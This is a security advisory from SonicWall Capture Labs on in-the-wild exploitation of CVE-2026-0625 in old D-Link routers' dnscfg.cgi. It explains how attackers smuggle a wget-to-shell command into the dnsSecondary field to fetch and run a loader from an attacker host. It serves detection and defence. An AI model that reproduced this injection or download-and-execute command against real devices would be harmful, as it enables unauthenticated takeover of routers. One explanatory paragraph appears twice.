
Embedded routers and gateways routinely ship with a small CGI program that lets an administrator change the DNS servers each device uses. Because this program takes user input and hands it to the operating system, it has long been a favorite target for attackers building botnets from internet-facing network equipment.
Through its honeypot network, the SonicWall Capture Labs threat research team has observed in-the-wild exploitation attempts against the dnscfg.cgi DNS configuration handler, the endpoint affected by CVE-2026-0625. The CVE covers several end-of-life D-Link DSL, DIR and DNS devices whose dnscfg.cgi endpoint can be requested directly, without authentication, to change their DNS settings. D-Link has linked this behavior to the GhostDNS malware ecosystem, which targeted consumer and carrier routers in 2019. The Shadowserver Foundation observed exploitation in November 2025.
The requests captured by the honeypot go a step beyond DNS hijacking. They inject a shell command into the dnsSecondary form field. The injected command downloads a script from an attacker-controlled host and pipes it directly into the shell, which gives the attacker code execution on any device that does not sanitize the field. No authentication material accompanies the requests.
CVSS Score | 9.3 Critical (CVSS v4.0: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) |
Type | Missing authentication for a critical function |
CWE | CWE-306 |
Attack Vector | Network / No Auth / No User Interaction |
Affected Product | D-Link DSL-2640B, DSL-2740R, DSL-2780B, DSL-526B, DSL-2640T, DSL-500, DSL-500G, DSL-502G; DIR-905L, DIR-600, DIR-608, DIR-610, DIR-611, DIR-615; DNS-320, DNS-325, DNS-345 |
NVD Reference |
The dnscfg.cgi program accepts two form fields, dnsPrimary and dnsSecondary, and applies them as the device's resolver settings. The captured traffic shows the following characteristics:
Because the endpoint can be reached before login, as described in the CVE, an attacker does not need credentials to submit these fields. In vulnerable firmware, the submitted values are not stripped of shell metacharacters before they are placed into a shell command line or written to a configuration file that a shell script later reads. A semicolon ends the first command and starts a second one. When the secondary DNS value is 8.8.4.4;wget ..., the shell applies the legitimate address and then executes everything after the semicolon as its own command. Web servers on these devices commonly run as root, so the injected command runs with full privileges.
The attacker starts both fields with the addresses of real public resolvers, 8.8.8.8 and 8.8.4.4. A handler that checks only that the first part of the value looks like an address will still accept the request, while the hostile command follows the semicolon.

| Step | Action | Result |
| 1 | POST to /cgi-bin/dnscfg.cgi, then /dnscfg.cgi | Attacker finds the handler without fingerprinting the device |
| 2 | dnsSecondary carries 8.8.4.4;<command>; | Valid address passes basic checks; shell splits at the semicolon |
| 3 | wget -q --no-check-certificate -O- https://s.sudomanager[.]tech/ld | Device fetches the second stage over HTTPS with certificate checks disabled |
| 4 | |sh | The downloaded script runs immediately, with no file written to disk |
The injected value begins with 8.8.4.4;, a valid DNS server followed by a command separator that ends the intended command and lets the attacker's command run next. The command itself uses wget, a downloader found on most embedded Linux builds. The -q option suppresses output so nothing is returned or logged by the tool, and --no-check-certificate skips TLS validation, which matters because embedded devices often lack a current CA bundle. The -O- option writes the response to standard output instead of a file, and that output is fetched from the attacker-hosted loader script at https://s.sudomanager[.]tech/ld. The |sh at the end feeds the downloaded script directly to the shell, so nothing touches flash storage first. Finally, the trailing semicolon closes the injected command so that any text appended by the vulnerable code does not cause a syntax error.
A single unauthenticated HTTP request is sufficient to trigger the injection on an affected device.

The injected value begins with 8.8.4.4;, a valid DNS server followed by a command separator that ends the intended command and lets the attacker's command run next. The command itself uses wget, a downloader found on most embedded Linux builds. The -q option suppresses output so nothing is returned or logged by the tool, and --no-check-certificate skips TLS validation, which matters because embedded devices often lack a current CA bundle. The -O- option writes the response to standard output instead of a file, and that output is fetched from the attacker-hosted loader script at https://s.sudomanager[.]tech/ld. The |sh at the end feeds the downloaded script directly to the shell, so nothing touches flash storage first. Finally, the trailing semicolon closes the injected command so that any text appended by the vulnerable code does not cause a syntax error. The payload is sent without URL encoding. The spaces, pipe and semicolons appear in clear text in the request body, which makes the pattern straightforward to match on the wire.
To ensure SonicWall customers are prepared for any exploitation that may occur due to this vulnerability, the following signature has been released:
| Signature ID | Signature Name |
|---|---|
| IPS 4643 | D-Link DNS Field Command Injection |
| GAV | Dropper |
Share This Article

An Article By
An Article By
Ashwini Bhagwat
Ashwini Bhagwat